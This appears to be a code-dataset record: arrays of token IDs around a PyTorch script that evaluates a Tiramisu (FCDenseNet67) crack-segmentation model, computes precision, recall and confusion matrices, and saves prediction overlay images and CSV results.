667,
29892,
9657,
1125,
13,
9651,
736,
6213,
29892,
851,
29898,
26740,
29918,
667,
29897,
13,
4706,
565,
376,
2558,
29963,
1292,
29908,
297,
4444,
29918,
667,
29901,
13,
9651,
10908,
29918,
791,
353,
4444,
29918,
667,
29889,
657,
703,
2558,
29963,
1292,
1159,
13,
9651,
822,
29918,
29894,
1292,
29918,
978,
353,
1583,
3032,
27049,
29918,
11027,
29889,
657,
703,
29963,
1292,
1170,
1159,
13,
9651,
565,
451,
10908,
29918,
791,
470,
10908,
29918,
791,
29889,
4878,
8771,
580,
1275,
376,
4381,
1115,
13,
18884,
396,
960,
694,
995,
29892,
679,
278,
2322,
478,
1292,
1170,
515,
6055,
13,
18884,
396,
322,
671,
278,
4444,
2224,
408,
278,
7035,
1024,
13,
18884,
565,
451,
822,
29918,
29894,
1292,
29918,
978,
29901,
13,
462,
1678,
12020,
7865,
2392,
703,
3782,
478,
1292,
1170,
3342,
297,
7670,
29963,
1292,
6055,
23157,
13,
18884,
7035,
29918,
978,
353,
1583,
29889,
4830,
29918,
27049,
29918,
978,
29898,
26740,
29918,
2084,
29897,
13,
18884,
736,
822,
29918,
29894,
1292,
29918,
978,
29892,
7035,
29918,
978,
13,
9651,
565,
5591,
29908,
297,
10908,
29918,
791,
29901,
13,
18884,
396,
8207,
29915,
628,
326,
1573,
1347,
2794,
478,
1292,
1170,
29914,
28459,
13,
18884,
325,
1292,
29918,
978,
29892,
7035,
29918,
978,
353,
10908,
29918,
791,
29889,
5451,
11974,
1159,
13,
18884,
736,
325,
1292,
29918,
978,
29892,
1583,
29889,
4830,
29918,
27049,
29918,
978,
29898,
19024,
29918,
978,
29897,
13,
9651,
565,
451,
822,
29918,
29894,
1292,
29918,
978,
29901,
13,
18884,
12020,
341,
303,
293,
2272,
2558,
29963,
1292,
3991,
2392,
29898,
13,
462,
1678,
376,
5596,
393,
366,
505,
6790,
278,
1492,
995,
363,
478,
1292,
1170,
29908,
13,
462,
1678,
718,
376,
297,
596,
5285,
613,
13,
462,
1678,
285,
29908,
3782,
478,
1292,
1170,
3342,
297,
7670,
29963,
1292,
6055,
363,
426,
26740,
29918,
2084,
1836,
613,
13,
462,
1678,
3611,
543,
2558,
478,
1292,
325,
1292,
1024,
451,
1476,
19602,
13,
18884,
1723,
13,
9651,
396,
960,
727,
338,
263,
2323,
1347,
448,
2125,
393,
408,
278,
7035,
1024,
13,
9651,
736,
822,
29918,
29894,
1292,
29918,
978,
29892,
1583,
29889,
4830,
29918,
27049,
29918,
978,
29898,
27049,
29918,
791,
29897,
13,
4706,
736,
6213,
29892,
6213,
13,
13,
1678,
822,
903,
657,
29918,
19024,
29918,
9891,
29898,
1311,
29892,
7035,
29918,
978,
29901,
851,
29892,
325,
1292,
29918,
978,
29901,
851,
29897,
1599,
8251,
519,
8999,
1402,
3139,
5387,
13,
4706,
9995,
11609,
263,
3653,
304,
2130,
263,
7035,
1213,
15945,
13,
4706,
565,
1583,
3032,
1509,
29918,
1989,
5393,
322,
1583,
3032,
1989,
5393,
29918,
4645,
29889,
657,
29918,
19024,
29898,
19024,
29918,
978,
1125,
13,
9651,
736,
1583,
3032,
3258,
29918,
19024,
29918,
9891,
29898,
1311,
3032,
1989,
5393,
29918,
4645,
29892,
7035,
29918,
978,
29897,
13,
13,
4706,
396,
960,
278,
7035,
338,
451,
297,
1820,
5393,
29892,
679,
278,
325,
1292,
13587,
445,
7035,
13,
4706,
565,
451,
1583,
29889,
27049,
29918,
19024,
29918,
29894,
1292,
29889,
657,
29898,
19024,
29918,
978,
1125,
13,
9651,
1583,
3032,
1202,
29918,
1989,
29918,
29894,
1292,
29898,
19024,
29918,
978,
29922,
19024,
29918,
978,
29892,
325,
1292,
29918,
978,
29922,
29894,
1292,
29918,
978,
29897,
13,
13,
4706,
325,
1292,
353,
1583,
29889,
27049,
29918,
29894,
1292,
29879,
29961,
29894,
1292,
29918,
978,
29962,
13,
4706,
565,
1583,
3032,
1509,
29918,
1989,
5393,
29901,
13,
9651,
396,
3787,
278,
7035,
297,
1820,
5393,
322,
736,
385,
2130,
272,
13,
9651,
396,
304,
278,
1820,
5393,
995,
29889,
13,
9651,
1583,
3032,
1989,
5393,
29918,
4645,
29889,
842,
29918,
19024,
29898,
19024,
29918,
978,
29892,
325,
1292,
29889,
657,
29918,
19024,
29898,
19024,
29918,
978,
876,
13,
9651,
736,
1583,
3032,
3258,
29918,
19024,
29918,
9891,
29898,
1311,
3032,
1989,
5393,
29918,
4645,
29892,
7035,
29918,
978,
29897,
13,
4706,
396,
565,
451,
773,
7670,
5393,
448,
736,
263,
7670,
29963,
1292,
2130,
272,
13,
4706,
736,
1583,
3032,
3258,
29918,
19024,
29918,
9891,
29898,
29894,
1292,
29892,
7035,
29918,
978,
29897,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
903,
3258,
29918,
19024,
29918,
9891,
29898,
19024,
29918,
8899,
29892,
7035,
29918,
978,
1125,
13,
4706,
736,
7687,
29898,
19024,
29918,
8899,
29889,
657,
29918,
19024,
29892,
7035,
29918,
978,
29922,
19024,
29918,
978,
29897,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
1303,
29918,
19024,
29898,
19024,
29918,
3318,
29901,
3139,
29897,
1599,
3139,
29901,
13,
4706,
9995,
13,
4706,
7106,
278,
7035,
995,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
7035,
29918,
3318,
584,
3139,
13,
9651,
960,
372,
338,
263,
3653,
29892,
1246,
322,
736,
278,
736,
995,
13,
9651,
310,
393,
3653,
29889,
13466,
925,
736,
278,
1203,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
3139,
13,
9651,
450,
7035,
995,
13,
13,
4706,
9995,
13,
4706,
565,
1246,
519,
29898,
19024,
29918,
3318,
1125,
13,
9651,
736,
7035,
29918,
3318,
580,
13,
4706,
736,
7035,
29918,
3318,
13,
2
] |
predict_new.py | JiaqiWangplus77/pytorch_tiramisu | 0 | 79248 | <reponame>JiaqiWangplus77/pytorch_tiramisu
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Sep 9 15:59:06 2019
@author: <EMAIL>
"""
from pathlib import Path
import numpy as np
import matplotlib.pyplot as plt
import time
import datetime
import torch
import torch.nn as nn
import torch.optim as optim
import torchvision
import torchvision.transforms as transforms
from torch.autograd import Variable
from models import tiramisu
from datasets import camvid
from datasets import joint_transforms
import utils.imgs
import utils.training_crack as train_utils
import pandas as pd
import cv2
import argparse
import json
from tqdm import tqdm
from PIL import Image
import os
pid = os.getpid()
import subprocess
subprocess.Popen("renice -n 10 -p {}".format(pid),shell=True)
os.environ['CUDA_VISIBLE_DEVICES'] = '1'
'''
green is miss detection
blue is pixel predicted to be crack, but the ground truth is not
'''
'''
an example in command line
python3 predict_argparse.py --CAMVID_PATH 'SegNet-Tutorial/CamVid/resized7' \
--weights_file_folder '.weights/resized7_no_weight_random_crop/' \
--weight_filename 'weights-200-0.218-0.054.pth' \
--result_folder 'output/5_without_class_weight_resized7_delete_later/'
'''
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--CAMVID_PATH", type=str,default='SegNet-Tutorial',help="path to dataset")
parser.add_argument("--batch_size", type=int, default=1, help="size of each image batch")
parser.add_argument("--weights_file_folder", type=str, default=".weights/CFD/patch_training/patch8080/pn13_t10/", help="path to weight")
parser.add_argument("--weight_filename", type=str, default='weights-100.pth', help="name of the weight file")
parser.add_argument("--n_classes", type=int, default=2, help="number of the class")
parser.add_argument("--result_folder", type=str,default='output/patch8080_pn13_t10/test', help="path to save the results")
# parser.add_argument("--save_image", type=int,default=1, help="if save image or not,1 mans save,0 means no")
parser.add_argument("--test_list", type=str, default='SegNet-Tutorial/CamVid/CFD/list/add_aug_test.txt', help="path to dataset")
opt = parser.parse_args()
print(opt)
CAMVID_PATH = os.path.join(opt.CAMVID_PATH)
#WEIGHTS_PATH = os.path.join('.weights/with_class_weight_and_randomcrop224/')
batch_size = opt.batch_size
weights_file_folder = os.path.join(opt.weights_file_folder)
weight_filename = opt.weight_filename
n_classes = opt.n_classes
result_folder = os.path.join(opt.result_folder,weight_filename)
# save_image = opt.save_image
image_name = 'test_{:04d}.png'
fpath = os.path.join(weights_file_folder,weight_filename)
if os.path.isfile(weight_filename):
raise Exception('file does not exist')
os.makedirs(result_folder,exist_ok=True)
'''
predict_folder = os.path.join(result_folder, 'predict')
FN_folder = os.path.join(result_folder, 'FN')
TP_FP_FN_folder = os.path.join(result_folder, 'TP_FP_FN')
os.makedirs(predict_folder,exist_ok=True)
os.makedirs(FN_folder,exist_ok=True)
os.makedirs(TP_FP_FN_folder,exist_ok=True)
'''
txt_file_list = [filename for filename in os.listdir(result_folder)
if filename.split('.')[-1] == 'txt' ]
if len(txt_file_list) > 0:
for file in txt_file_list:
os.remove(os.path.join(result_folder,file))
with open(os.path.join(result_folder,'basic information.txt'),'w') as f:
json.dump(opt.__dict__,f,indent=2)
mean = [0.50898083, 0.52446532, 0.54404199]
std = [0.08326811, 0.07471673, 0.07621879]
normalize = transforms.Normalize(mean=mean, std=std)
test_dset = camvid.CamVid2(
CAMVID_PATH, path=opt.test_list,
joint_transform=None,
transform=transforms.Compose([
transforms.ToTensor(),
# normalize
]))
test_loader = torch.utils.data.DataLoader(
test_dset, batch_size=opt.batch_size, shuffle=False)
model = tiramisu.FCDenseNet67(n_classes=n_classes,in_channels=3).cuda()
inputs, _,_ = next(iter(test_loader))
print('evaluation image size: ', inputs.size())
#model.apply(train_utils.weights_init)
train_utils.load_weights(model, fpath)
c_matrix = np.zeros([n_classes,n_classes])
result_each_image = []
# for batch_i in tqdm(range(len(test_loader))):
cmatrix_each = []
# for batch_i, (inputs, targets, index) in tqdm(enumerate(test_loader)):
prev_time = time.time()
for batch_i, (inputs, targets, index) in enumerate(test_loader):
#import pdb; pdb.set_trace()
#index = index.numpy()
#pred_result = train_utils.view_sample_predictions_new(model, imgs, targets, n=4)
data = Variable(inputs.cuda(), volatile=False)
#label = Variable(targets.cuda())
with torch.no_grad():
output = model(data)
pred = train_utils.get_predictions(output)
batch_size = inputs.size(0)
for j in range(batch_size):
#img_utils.view_image(inputs[i])
# if n_classes == 2:
# pred[j] = 5 * pred[j]
current_time = time.time()
evaluation_results = train_utils.evaluate(targets[j].unsqueeze(0),
pred[j].unsqueeze(0))
c_matrix0 = train_utils.calculate_confusion_matrix(targets[j].unsqueeze(0),
pred[j].unsqueeze(0),
cls_num=n_classes)
#current_time = time.time()
inference_time = datetime.timedelta(seconds=current_time - prev_time)
prev_time = current_time
print("\t+ Batch %d, Inference Time: %s" % (batch_i, inference_time))
c_matrix += c_matrix0
path = index[j]
c_matrix0 = list(c_matrix0.reshape(-1))
c_matrix0.insert(0,path.split('/')[-1].split('.')[0])
cmatrix_each.append(c_matrix0)
image_original = np.array(Image.open(path).convert('RGB'))
name = '_' + str(100 * round(evaluation_results[0][1],2)) + \
'_' + str(100 * round(evaluation_results[1][1],2))
img_name = path.split('/')[-1].split('.')[0] + name
target = targets[j].cpu().numpy()
prediction = pred[j].cpu().numpy()
# save prediction images
img = np.ones_like(image_original)*255
img = train_utils.draw_color(img,prediction,[255,0,255])
image_merged = cv2.addWeighted(image_original/255,0.7,img/255,0.3,0,dtype = cv2.CV_32F)
img_combine = np.concatenate((image_original/255,image_merged), axis=0)
plt.imsave(os.path.join(result_folder,img_name+'_a_predict.jpg'),img_combine)
# generate TP,FP,FN images
TP, FP, FN = train_utils.generation_TP_FP_FN(target,prediction,t = 5)
img = np.ones_like(image_original)*255
img = train_utils.draw_color(img,FN,[0,255,0])
# save FN images
image_merged = cv2.addWeighted(image_original/255,0.7,img/255,0.3,0,dtype = cv2.CV_32F)
img_combine = np.concatenate((image_original/255,image_merged), axis=0)
plt.imsave(os.path.join(result_folder,img_name+'_c_FN.jpg'),img_combine)
img = train_utils.draw_color(img,TP,[255,0,0])
img = train_utils.draw_color(img,FP,[0,0,255])
# save TP_FP_FN images
image_merged = cv2.addWeighted(image_original/255,0.7,img/255,0.3,0,dtype = cv2.CV_32F)
img_combine = np.concatenate((image_original/255,image_merged), axis=0)
plt.imsave(os.path.join(result_folder,img_name+'_b_TP_FP_FN.jpg'),img_combine)
imag_targets = utils.imgs.view_annotated(targets[j],'targets', plot=False, class_num=6)
imag_pred = utils.imgs.view_annotated(pred[j],'prediction', plot=False, class_num=6)
img_combine2 = np.concatenate((image_original/255,imag_targets,imag_pred), axis=0)
#plt.imsave(os.path.join(result_folder,img_name.replace('merge0','merge1')),img_combine2)
print(path.split('/')[-1].split('.')[0],' finished')
results = [evaluation_results[0][1],evaluation_results[1][1],evaluation_results[2][1]]
results = [round(r,3) for r in results]
results.insert(0,path.split('/')[-1])
result_each_image.append(results)
result_each_image = np.array(result_each_image)
data = pd.DataFrame({
'index':result_each_image[:,0],
'precision':result_each_image[:,1],
'recall':result_each_image[:,2],
'f1':result_each_image[:,3],
})
data.to_csv(os.path.join(result_folder,'results.csv'))
cmatrix_each = np.array(cmatrix_each)
data = pd.DataFrame({
'index':cmatrix_each[:,0],
'FN':cmatrix_each[:,3],
'TP':cmatrix_each[:,4],
'FP':cmatrix_each[:,2],
'precision':result_each_image[:,1],
'recall':result_each_image[:,2],
'f1':result_each_image[:,3],
})
data.to_csv(os.path.join(result_folder,'results_pixel_number.csv'))
with np.errstate(divide='ignore',invalid='ignore'):
precision = np.diag(c_matrix)/c_matrix.sum(axis=0)
with np.errstate(divide='ignore',invalid='ignore'):
recall = np.diag(c_matrix)/c_matrix.sum(axis=1)
print(precision[1],recall[1])
name = opt.weight_filename +'_'+ str(int(100 * round(precision[1],2))) + \
'_' + str(int(100 * round(recall[1],2))) +'.txt'
f = open(os.path.join(opt.result_folder, name),'w')
f.close()
#print(img_name, ' finished')
#
# imag_targets = utils.imgs.view_annotated(targets[j],'targets', plot=False, class_num=6)
# imag_targets[-4:-1,:,:] = 1
#
# imag_pred = utils.imgs.view_annotated(pred[j],'prediction', plot=False, class_num=6)
# import pdb; pdb.set_trace()
#
#
# if bool(save_image):
#
# #img_name = image_name.format(index[j])
# image_original = np.array(Image.open(path).convert('RGB'))
#
# img_name = path.split('/')[-1].split('.')[0] + '_' + str(int(1000*evaluation_results[-1])) + '.png'
# img_combine = np.concatenate((image_original/255,imag_targets,imag_pred), axis=0)
# plt.imsave(os.path.join(result_folder,img_name),img_combine)
# #print(img_name, ' finished')
## if batch_i == 5:
## break
#
# result_each_image = np.array(result_each_image)
# data = pd.DataFrame({
# 'index':result_each_image[:,0],
# 'PA':result_each_image[:,1],
# 'class_PA':result_each_image[:,2],
# 'mIoU':result_each_image[:,3],
# 'w_MIoU':result_each_image[:,4]
# })
# data.to_csv(os.path.join(result_folder,'results.csv'))
# result = np.round(train_utils.evaluate_whole_dataset(c_matrix),5)
# total_iou = train_utils.IoU(c_matrix)
# c_matrix = np.round(c_matrix / c_matrix.sum(),5)
# #PA, class_PA, mIoU, w_MIoU]
# final_result = f"evaluation results of the whole test folder: \n \
# pixel accuracy: {result[0]} \n \
# mean class pixel accuracy: {result[1]} \n \
# mIoU: {result[2]} \n \
# weighted mIoU: {result[3]} \n \
# IoU of each class:{total_iou}"
# print(final_result)
#
# f = open(os.path.join(result_folder,'result of all test images.txt'),'w')
# f.write(final_result)
# f.close()
#
# np.savetxt(os.path.join(result_folder,'c_matrix.txt'),c_matrix, fmt='%s',newline='\n',delimiter=' ')
| [
1,
529,
276,
1112,
420,
29958,
29967,
423,
26461,
29956,
574,
11242,
29955,
29955,
29914,
2272,
7345,
305,
29918,
29873,
381,
314,
28311,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
15945,
29908,
13,
20399,
373,
2598,
29639,
259,
29929,
29871,
29896,
29945,
29901,
29945,
29929,
29901,
29900,
29953,
29871,
29906,
29900,
29896,
29929,
13,
13,
29992,
8921,
29901,
529,
26862,
6227,
29958,
13,
15945,
29908,
13,
13,
3166,
2224,
1982,
1053,
10802,
13,
5215,
12655,
408,
7442,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
13,
5215,
931,
13,
5215,
12865,
13,
13,
5215,
4842,
305,
13,
5215,
4842,
305,
29889,
15755,
408,
302,
29876,
13,
5215,
4842,
305,
29889,
20640,
408,
5994,
13,
5215,
4842,
305,
4924,
13,
5215,
4842,
305,
4924,
29889,
9067,
29879,
408,
4327,
29879,
13,
3166,
4842,
305,
29889,
1300,
468,
3665,
1053,
28736,
13,
13,
3166,
4733,
1053,
19493,
314,
28311,
13,
3166,
20035,
1053,
3949,
8590,
13,
3166,
20035,
1053,
14002,
29918,
9067,
29879,
13,
5215,
3667,
29879,
29889,
2492,
29879,
13,
5215,
3667,
29879,
29889,
26495,
29918,
29883,
22282,
408,
7945,
29918,
13239,
13,
5215,
11701,
408,
10518,
13,
5215,
13850,
29906,
13,
5215,
1852,
5510,
13,
5215,
4390,
13,
3166,
260,
29939,
18933,
1053,
260,
29939,
18933,
13,
3166,
349,
6227,
1053,
7084,
13,
13,
13,
5215,
2897,
13,
5935,
353,
2897,
29889,
657,
5935,
580,
13,
5215,
1014,
5014,
13,
1491,
5014,
29889,
29925,
3150,
703,
1267,
625,
448,
29876,
29871,
29896,
29900,
448,
29886,
6571,
1642,
4830,
29898,
5935,
511,
15903,
29922,
5574,
29897,
13,
13,
359,
29889,
21813,
1839,
29907,
29965,
7698,
29918,
28607,
8979,
1307,
29918,
2287,
29963,
2965,
2890,
2033,
353,
525,
29896,
29915,
13,
13,
12008,
13,
12692,
338,
3052,
15326,
13,
9539,
338,
15526,
25383,
304,
367,
26755,
29892,
541,
278,
5962,
8760,
338,
451,
13,
12008,
13,
13,
12008,
13,
273,
1342,
297,
1899,
1196,
13,
4691,
29941,
8500,
29918,
1191,
5510,
29889,
2272,
1192,
29907,
5194,
13044,
29918,
10145,
525,
17669,
6779,
29899,
29911,
6072,
29914,
14353,
29963,
333,
29914,
690,
1891,
29955,
29915,
320,
13,
29871,
1192,
705,
5861,
29918,
1445,
29918,
12083,
15300,
705,
5861,
29914,
690,
1891,
29955,
29918,
1217,
29918,
7915,
29918,
8172,
29918,
29883,
1336,
22208,
320,
13,
29871,
1192,
7915,
29918,
9507,
525,
705,
5861,
29899,
29906,
29900,
29900,
29899,
29900,
29889,
29906,
29896,
29947,
29899,
29900,
29889,
29900,
29945,
29946,
29889,
29886,
386,
29915,
320,
13,
29871,
1192,
2914,
29918,
12083,
525,
4905,
29914,
29945,
29918,
14037,
29918,
1990,
29918,
7915,
29918,
690,
1891,
29955,
29918,
8143,
29918,
29880,
1008,
22208,
259,
13,
12008,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
13812,
353,
1852,
5510,
29889,
15730,
11726,
580,
13,
1678,
13812,
29889,
1202,
29918,
23516,
703,
489,
29907,
5194,
13044,
29918,
10145,
613,
1134,
29922,
710,
29892,
4381,
2433,
17669,
6779,
29899,
29911,
6072,
742,
8477,
543,
2084,
304,
8783,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
703,
489,
16175,
29918,
2311,
613,
1134,
29922,
524,
29892,
2322,
29922,
29896,
29892,
1371,
543,
2311,
310,
1269,
1967,
9853,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
703,
489,
705,
5861,
29918,
1445,
29918,
12083,
613,
1134,
29922,
710,
29892,
2322,
29569,
705,
5861,
29914,
9207,
29928,
29914,
5041,
29918,
26495,
29914,
5041,
29947,
29900,
29947,
29900,
29914,
21257,
29896,
29941,
29918,
29873,
29896,
29900,
29914,
613,
1371,
543,
2084,
304,
7688,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
703,
489,
7915,
29918,
9507,
613,
1134,
29922,
710,
29892,
2322,
2433,
705,
5861,
29899,
29896,
29900,
29900,
29889,
29886,
386,
742,
1371,
543,
978,
310,
278,
7688,
934,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
703,
489,
29876,
29918,
13203,
613,
1134,
29922,
524,
29892,
2322,
29922,
29906,
29892,
1371,
543,
4537,
310,
278,
770,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
703,
489,
2914,
29918,
12083,
613,
1134,
29922,
710,
29892,
4381,
2433,
4905,
29914,
5041,
29947,
29900,
29947,
29900,
29918,
21257,
29896,
29941,
29918,
29873,
29896,
29900,
29914,
1688,
742,
1371,
543,
2084,
304,
4078,
278,
2582,
1159,
13,
29937,
1678,
13812,
29889,
1202,
29918,
23516,
703,
489,
7620,
29918,
3027,
613,
1134,
29922,
524,
29892,
4381,
29922,
29896,
29892,
1371,
543,
361,
4078,
1967,
470,
451,
29892,
29896,
286,
550,
4078,
29892,
29900,
2794,
694,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
703,
489,
1688,
29918,
1761,
613,
1134,
29922,
710,
29892,
2322,
2433,
17669,
6779,
29899,
29911,
6072,
29914,
14353,
29963,
333,
29914,
9207,
29928,
29914,
1761,
29914,
1202,
29918,
2987,
29918,
1688,
29889,
3945,
742,
1371,
543,
2084,
304,
8783,
1159,
13,
1678,
3523,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
1678,
1596,
29898,
3670,
29897,
13,
308,
13,
1678,
315,
5194,
13044,
29918,
10145,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3670,
29889,
29907,
5194,
13044,
29918,
10145,
29897,
13,
1678,
396,
8851,
22530,
29903,
29918,
10145,
353,
2897,
29889,
2084,
29889,
7122,
12839,
705,
5861,
29914,
2541,
29918,
1990,
29918,
7915,
29918,
392,
29918,
8172,
29883,
1336,
29906,
29906,
29946,
29914,
1495,
13,
1678,
9853,
29918,
2311,
353,
3523,
29889,
16175,
29918,
2311,
13,
1678,
18177,
29918,
1445,
29918,
12083,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3670,
29889,
705,
5861,
29918,
1445,
29918,
12083,
29897,
13,
1678,
7688,
29918,
9507,
353,
3523,
29889,
7915,
29918,
9507,
13,
1678,
302,
29918,
13203,
353,
3523,
29889,
29876,
29918,
13203,
13,
1678,
1121,
29918,
12083,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3670,
29889,
2914,
29918,
12083,
29892,
7915,
29918,
9507,
29897,
13,
29937,
1678,
4078,
29918,
3027,
353,
3523,
29889,
7620,
29918,
3027,
13,
13,
1678,
1967,
29918,
978,
353,
525,
1688,
648,
29901,
29900,
29946,
29881,
1836,
2732,
29915,
13,
13,
1678,
285,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
705,
5861,
29918,
1445,
29918,
12083,
29892,
7915,
29918,
9507,
29897,
13,
1678,
565,
2897,
29889,
2084,
29889,
275,
1445,
29898,
7915,
29918,
9507,
1125,
259,
13,
4706,
12020,
8960,
877,
1445,
947,
451,
1863,
1495,
13,
13,
268,
13,
1678,
2897,
29889,
29885,
12535,
12935,
29898,
2914,
29918,
12083,
29892,
28997,
29918,
554,
29922,
5574,
29897,
13,
1678,
14550,
13,
4706,
8500,
29918,
12083,
353,
2897,
29889,
2084,
29889,
7122,
29898,
2914,
29918,
12083,
29892,
525,
27711,
1495,
13,
4706,
383,
29940,
29918,
12083,
353,
2897,
29889,
2084,
29889,
7122,
29898,
2914,
29918,
12083,
29892,
525,
29943,
29940,
1495,
13,
4706,
323,
29925,
29918,
26353,
29918,
29943,
29940,
29918,
12083,
353,
2897,
29889,
2084,
29889,
7122,
29898,
2914,
29918,
12083,
29892,
525,
3557,
29918,
26353,
29918,
29943,
29940,
1495,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
27711,
29918,
12083,
29892,
28997,
29918,
554,
29922,
5574,
29897,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
29943,
29940,
29918,
12083,
29892,
28997,
29918,
554,
29922,
5574,
29897,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
3557,
29918,
26353,
29918,
29943,
29940,
29918,
12083,
29892,
28997,
29918,
554,
29922,
5574,
29897,
13,
1678,
14550,
13,
268,
13,
1678,
13872,
29918,
1445,
29918,
1761,
353,
518,
9507,
363,
10422,
297,
2897,
29889,
1761,
3972,
29898,
2914,
29918,
12083,
29897,
13,
462,
418,
565,
10422,
29889,
5451,
12839,
1495,
14352,
29896,
29962,
1275,
525,
3945,
29915,
4514,
13,
1678,
565,
7431,
29898,
3945,
29918,
1445,
29918,
1761,
29897,
1405,
29871,
29900,
29901,
13,
4706,
363,
934,
297,
13872,
29918,
1445,
29918,
1761,
29901,
13,
9651,
2897,
29889,
5992,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2914,
29918,
12083,
29892,
1445,
876,
13,
462,
259,
13,
1678,
411,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2914,
29918,
12083,
5501,
16121,
2472,
29889,
3945,
5477,
29915,
29893,
1495,
408,
285,
29901,
13,
4706,
4390,
29889,
15070,
29898,
3670,
17255,
8977,
1649,
29892,
29888,
29892,
12860,
29922,
29906,
29897,
13,
308,
13,
1678,
2099,
353,
518,
29900,
29889,
29945,
29900,
29947,
29929,
29947,
29900,
29947,
29941,
29892,
29871,
29900,
29889,
29945,
29906,
29946,
29946,
29953,
29945,
29941,
29906,
29892,
29871,
29900,
29889,
29945,
29946,
29946,
29900,
29946,
29896,
29929,
29929,
29962,
1678,
13,
1678,
3659,
353,
518,
29900,
29889,
29900,
29947,
29941,
29906,
29953,
29947,
29896,
29896,
29892,
29871,
29900,
29889,
29900,
29955,
29946,
29955,
29896,
29953,
29955,
29941,
29892,
29871,
29900,
29889,
29900,
29955,
29953,
29906,
29896,
29947,
29955,
29929,
29962,
29871,
13,
1678,
4226,
675,
353,
4327,
29879,
29889,
19077,
675,
29898,
12676,
29922,
12676,
29892,
3659,
29922,
4172,
29897,
13,
268,
13,
1678,
1243,
29918,
29881,
842,
353,
3949,
8590,
29889,
14353,
29963,
333,
29906,
29898,
13,
4706,
315,
5194,
13044,
29918,
10145,
29892,
2224,
29922,
3670,
29889,
1688,
29918,
1761,
29892,
29871,
13,
4706,
14002,
29918,
9067,
29922,
8516,
29892,
13,
4706,
4327,
29922,
9067,
29879,
29889,
1523,
4220,
4197,
13,
9651,
4327,
29879,
29889,
1762,
29911,
6073,
3285,
13,
29937,
9651,
4226,
675,
13,
4706,
4514,
876,
308,
13,
1678,
1243,
29918,
12657,
353,
4842,
305,
29889,
13239,
29889,
1272,
29889,
1469,
10036,
29898,
13,
4706,
1243,
29918,
29881,
842,
29892,
9853,
29918,
2311,
29922,
3670,
29889,
16175,
29918,
2311,
29892,
528,
21897,
29922,
8824,
29897,
13,
268,
13,
268,
13,
1678,
1904,
353,
19493,
314,
28311,
29889,
29943,
6530,
1947,
6779,
29953,
29955,
29898,
29876,
29918,
13203,
29922,
29876,
29918,
13203,
29892,
262,
29918,
305,
12629,
29922,
29941,
467,
29883,
6191,
580,
13,
1678,
10970,
29892,
17117,
29918,
353,
2446,
29898,
1524,
29898,
1688,
29918,
12657,
876,
13,
1678,
1596,
877,
24219,
362,
1967,
2159,
29901,
13420,
10970,
29889,
2311,
3101,
13,
268,
13,
1678,
396,
4299,
29889,
7302,
29898,
14968,
29918,
13239,
29889,
705,
5861,
29918,
2344,
29897,
13,
1678,
13,
1678,
7945,
29918,
13239,
29889,
1359,
29918,
705,
5861,
29898,
4299,
29892,
285,
2084,
29897,
13,
268,
13,
1678,
274,
29918,
5344,
353,
7442,
29889,
3298,
359,
4197,
29876,
29918,
13203,
29892,
29876,
29918,
13203,
2314,
13,
1678,
1121,
29918,
4204,
29918,
3027,
353,
5159,
13,
268,
13,
29937,
1678,
363,
9853,
29918,
29875,
297,
260,
29939,
18933,
29898,
3881,
29898,
2435,
29898,
1688,
29918,
12657,
876,
1125,
13,
1678,
274,
5344,
29918,
4204,
353,
5159,
13,
29937,
1678,
363,
9853,
29918,
29875,
29892,
313,
2080,
29879,
29892,
22525,
29892,
2380,
29897,
297,
260,
29939,
18933,
29898,
15172,
29898,
1688,
29918,
12657,
22164,
29871,
13,
1678,
12379,
29918,
2230,
353,
931,
29889,
2230,
580,
1678,
13,
1678,
363,
9853,
29918,
29875,
29892,
313,
2080,
29879,
29892,
22525,
29892,
2380,
29897,
297,
26985,
29898,
1688,
29918,
12657,
1125,
3986,
13,
308,
13,
4706,
396,
5215,
282,
2585,
29936,
282,
2585,
29889,
842,
29918,
15003,
580,
13,
4706,
396,
2248,
353,
2380,
29889,
23749,
580,
13,
4706,
396,
11965,
29918,
2914,
353,
7945,
29918,
13239,
29889,
1493,
29918,
11249,
29918,
27711,
1080,
29918,
1482,
29898,
4299,
29892,
527,
3174,
29892,
22525,
29892,
302,
29922,
29946,
29897,
13,
4706,
848,
353,
28736,
29898,
2080,
29879,
29889,
29883,
6191,
3285,
1700,
24285,
29922,
8824,
29897,
13,
4706,
396,
1643,
353,
28736,
29898,
5182,
29879,
29889,
29883,
6191,
3101,
13,
4706,
411,
4842,
305,
29889,
1217,
29918,
5105,
7295,
13,
9651,
1962,
353,
1904,
29898,
1272,
29897,
13,
632,
13,
4706,
4450,
353,
7945,
29918,
13239,
29889,
657,
29918,
27711,
1080,
29898,
4905,
29897,
13,
4706,
9853,
29918,
2311,
353,
10970,
29889,
2311,
29898,
29900,
29897,
13,
268,
13,
268,
13,
268,
13,
4706,
363,
432,
297,
3464,
29898,
16175,
29918,
2311,
1125,
13,
9651,
396,
2492,
29918,
13239,
29889,
1493,
29918,
3027,
29898,
2080,
29879,
29961,
29875,
2314,
13,
29937,
9651,
